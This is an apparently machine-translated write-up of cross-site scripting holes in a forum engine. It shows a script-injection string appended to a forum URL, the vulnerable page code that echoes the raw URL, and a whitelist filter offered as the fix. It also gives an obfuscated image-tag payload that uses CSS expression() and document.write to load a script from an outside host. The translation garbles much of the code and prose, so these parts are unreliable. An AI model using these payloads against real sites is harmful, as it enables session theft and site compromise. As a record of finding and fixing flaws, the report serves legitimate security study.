XSS cross-site scripting instance

 

I found the report I made when I just graduated and sorted out the document. It may not be correct for reference only.

 

URL Injection

 

Most of the methods provided on the Internet are keyword filtering.

 

If you want to retain the previous normal content, it is difficult to take out the abnormal part after it.

 

The reason why most pages of the Forum are injected is the same as that of SysInfo. aspx.

 

For example, enter

Http://www.bkjia.com/SNDA. BBSEngine. UI. ALWeb/TopicContent. aspx? BoardID = 59 & TopicID = 6890 & Page = 1 --> '");> </SCRIPT> </style> </title> </textarea> <SCRIPT> alert ("haha") </SCRIPT>

 

Check that the source file contains such code.

<A class = maintitle

Href = "http://www.bkjia.com/SNDA. BBSEngine. UI. ALWeb/TopicContent. aspx? BoardID = 59 & TopicID = 6890 & Page = 1 --> '");> </SCRIPT> </style> </title> </textarea> <SCRIPT> alert ("haha") </SCRIPT> "> <FONT size =" 4 ">

The blue section is truncated.

The source code of TopicContent. aspx in the Forum is like this.

<A class = maintitle href = "<% = this. CurrentUrl %>"> <FONT size = "4">

 

Similar code is available on other pages, and the injected content is also the same as this, for example, the default page.

Is this Code <FORM id = "Frm" name = "Frm" action = 'userlogin. aspx? Ru = <% = Request. RawUrl %> 'method = "post" onsubmit = "javascript: return CheckForm ();">

The Memberlist. aspx page is

<A href = "<% = Request. RawUrl %>" class = "gensmall"> member list </a>

The injection method has not been found on pages like Team. aspx without such code.

 

Therefore, the security department's opinion can be used to filter the whitelist:

First, decode the URL content to escape some players' tricks.

String strXss = Server. UrlDecode (this. Request. RawUrl. ToString ());

Then use the whitelist to filter:

Only/, HTTP ://,&,?, =, %,., Number, letter, Chinese character, underline.

The security inspection result of the Security Department is passed.

 

The XSS form injection process is as follows:

Before UBB parsing (only the IMG tags are discussed ):

Injection string:

"\ R \ n [img] http: // [color = a \ t \ twidth = 00 \ t \ tSTYLE = a: expr/& #92; /Ession (docum & #00; ent. write (\ "& #60; scr & #00; EPT/& #92;/src = http://www.bkjia.com/1000y.jpg & #62; & #60;/scr & #00; ipt & #62; \ ") \ t =] \ t [/color] [/img] \ r \ n"

 

 

UBB parsing process:

Pre-resolution string:

"<Br> [img] http: // [color = a \ t \ twidth = 00 \ t \ tSTYLE = a: expr/\/Ession (docum \ 0ent. write (& quot; & lt; scr \ 0ipt/\/src = http://www.bkjia.com n/1000y.jpg & gt; & lt;/scr \ 0ipt & gt; & quot ;)) \ t =] \ t [/color] [/img] <br>"

 

Regular Expression:

@ "\ [Img \] (? . + ?) \ [\/Img \]"

String to be replaced:

"<A href = '$ {img}' target = '_ blank'> 790) this. style. width = 790 ', 1000); \ "alt = 'ctrl + scroll wheel can resize the image'> </a>"

Expression after replacement

"<Br> <a href = 'HTTP: // [color = a \ t \ twidth = 00 \ t \ tSTYLE =: expr/**/Ession (docum \ 0ent. write (& quot; & lt; scr \ 0ipt/**/src = http://www.bkjia.com/1000y.jpg & gt; & lt;/scr \ 0ipt & gt; & quot ;)) \ t =] \ t [/color] 'target = '_ blank'> 790) this. style. width = 790 ', 1000); \ "alt = 'ctrl + scroll wheel can resize the image'> </a> <br>"

 

.

Author: stay up late bugs